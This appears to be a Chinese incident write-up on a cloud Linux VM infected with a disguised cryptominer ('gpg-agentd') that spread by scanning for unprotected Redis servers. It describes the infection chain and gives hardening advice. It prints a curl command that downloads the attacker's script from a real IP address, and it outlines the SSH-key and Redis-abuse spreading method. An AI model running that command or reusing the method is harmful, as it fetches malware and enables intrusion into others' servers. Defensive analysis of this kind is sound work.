移动云云主机linux虚机感染挖矿病毒对外恶意传播的处理
问题来源:
问题现象及影响范围
影响范围:一台linux虚机
问题现象:虚机因对外恶意发包,被云服务提供商封堵22端口,导致无法ssh;通过修改ssh端口号,登录后top发现,有2个占用cpu 99%的同名进程在运行,叫gpg-agentd
问题分析及过程:
通过google搜索发现,GPG提供的gpg-agent提供了对SSH协议的支持,这个功能可以大大简化密钥的管理工作。但是我们发现的异常进程是gpg-agentd,多了一个字母d,属于伪装程序。
根据gpg-agentd的进程pid:23374,通过ps命令查看进程启动路径、通过netstat查看网络状况。
进入进程启动路径,找到了黑客留下的二进制可执行文件。
通过使用反汇编工具IDA分析gpg-agentd,用string搜索bitcoin, eth, mine等相关单词(由于cpu占用过高,怀疑与挖矿进程有关)。
最终发现有nicehash.com的网址,打开网址确实与挖矿相关。
为了进一步确认被入侵的原因,以及病毒的运行机制,首先怀疑被入侵可能是暴力破解root账号导致的,通过lastb查看发现有大量密码尝试记录,确实为暴力破解。
查看history发现记录已被清空,查看messages日志发现安装了一些不明软件。
一般恶意程序定时或随机执行程序,所以查看计划任务crontab -e,发现每15分钟去服务器上下载一个脚本,并且执行这个脚本。
通过curl命令下载脚本curl -fsSL 159.89.190.243/ash.php > ash.sh,查看脚本内容,大致分析一下该脚本的主要用途:
- 首先是关闭SELinux
- 解除shell资源访问限制
然后在/root/.ssh/authorized_keys文件中生成ssh公钥,这样每次黑客登录这台服务器就可以免密码登录。接下来安装bash,最后是继续下载第二个脚本bsh.php,并且执行。
通过curl命令继续下载并分析第二个脚本bsh.php,大致分析一下该脚本的主要用途:
- 下载远程代码到本地,添加执行权限,chmod u+x。
- 修改rc.local,让本地代码开机自动执行。
- 下载github上的开源扫描器代码,并安装相关的依赖软件,也就是上面的messages里看到的记录。通过查看到github上查看这个开源代码,发现每秒发送1000万个数据包,比nmap速度还要快,所以才会被发现恶意对外发包。
- 下载第三个脚本,并且执行。
通过curl命令继续下载并分析第三个脚本rsh.php,大致分析一下该脚本的主要用途:
对redis进行配置,利用redis把缓存内容写入本地文件的漏洞,结果就是用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆。登录之后就开始定期执行计划任务,下载脚本。开始利用masscan进行全网扫描redis服务器,寻找肉鸡,注意看这6379就是redis服务器的默认端口,如果你的redis的监听端口是公网IP或是0.0.0.0,并且没有密码保护,就会被当作肉鸡。
总结分析三个脚本的用途,先是通过写入ssh public key 拿到登录权限,然后下载执行远程二进制文件,最后再通过redis漏洞复制,迅速在全网传播,以指数级速度增长。
后续处理措施、方案及计划建议:
一、服务器
- 禁用ROOT
- 用户名和密码尽量复杂
- 修改ssh的默认22端口
- 安装DenyHosts防暴力破解软件
- 禁用密码登录,使用RSA公钥登录
- 具体可参考《linux云主机安全防护方案 》加强虚机防护
二、redis
- 禁用公网IP监听,包括0.0.0.0
- 使用密码限制访问redis
- 使用较低权限帐号运行redis
本文由 vps主机对比评测网 刊发,转载请注明出处